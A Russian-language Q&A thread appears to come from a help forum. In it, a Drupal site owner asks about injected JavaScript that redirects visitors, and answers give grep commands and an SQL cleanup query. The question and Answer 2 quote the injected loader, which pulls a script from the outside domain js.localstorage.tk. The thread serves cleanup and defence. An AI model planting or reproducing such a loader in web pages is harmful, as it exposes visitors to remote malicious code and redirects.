Javascript внедряется во все друпальные сайты сервера

Question

За последние несколько дней мои сайты подвергались злонамеренным атакам. Когда я открываю сайт http://site1.com/ он сначала перенаправляется на другую страницу (возможно, на рекламную страницу).

В браузере Chrome, когда я пытаюсь диагностировать проблему через консоль (F12), я обнаружил, что это показывает мне странную ошибку. "Не удалось загрузить ресурс: net::ERR_NAME_NOT_RESOLVED", а URL - https://js.localstorage.tk/s.js?crt=new. В ходе дальнейшего расследования я обнаружил, что он вводит следующий скрипт на каждой странице загрузки каждого веб-сайта на этом конкретном сервере. (Не один сайт, а 3-4 сайта были заражены одной и той же атакой на одном сервере).

var z = document.createElement("script"); z.type = "text/javascript"; z.src = "https://js.localstorage.tk/s.js?crt=new"; document.head.appendChild(z);

Я также пытался найти этот фрагмент кода в размещенных файловых системах зараженных веб-сайтов, используя различные команды "grep", как показано ниже, но ничего не смог найти.

 grep -rwn /var/www/ -e 'js.localstorage.tk'
 grep -rwn /var/www/ -e 'var z'
 grep -rwn /var/www/ -e 'z.type'
 grep -rwn /var/www/ -e 'z.src'
 grep -rwn /var/www/ -e 'crt=new'

Но никакой подсказки о вредоносном введенном скрипте. Тот же результат в исследовании БД.

Когда я захожу на сайт через локальную сеть без интернета, возникает та же ошибка с каким-то странным URL:

GET https://js.localstorage.tk/s.js?crt=new net::ERR_NAME_NOT_RESOLVED debugger:///VM359:1

И хуже всего то, что теперь Google включил мои сайты в список "Опасный" и показывает предупреждение "Впереди обманчивый сайт" с темно-красным фоном.

Любая помощь...!!!

Answer 1

Найти код с помощью этой команды

grep -rwn /var/www/ -e 'eval(String.fromCharCode'

Answer 2

Вы должны проверить свою БД.

У меня та же проблема, и я нашел скрипт в каждой строке таблицы field_data_body в столбце body_summary.

Выполните для всех таблиц следующий запрос: %js.localstorage.tk%

Вот запрос на удаление:

UPDATE field_data_body SET `body_summary`=REPLACE(`body_summary`,"<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script>","");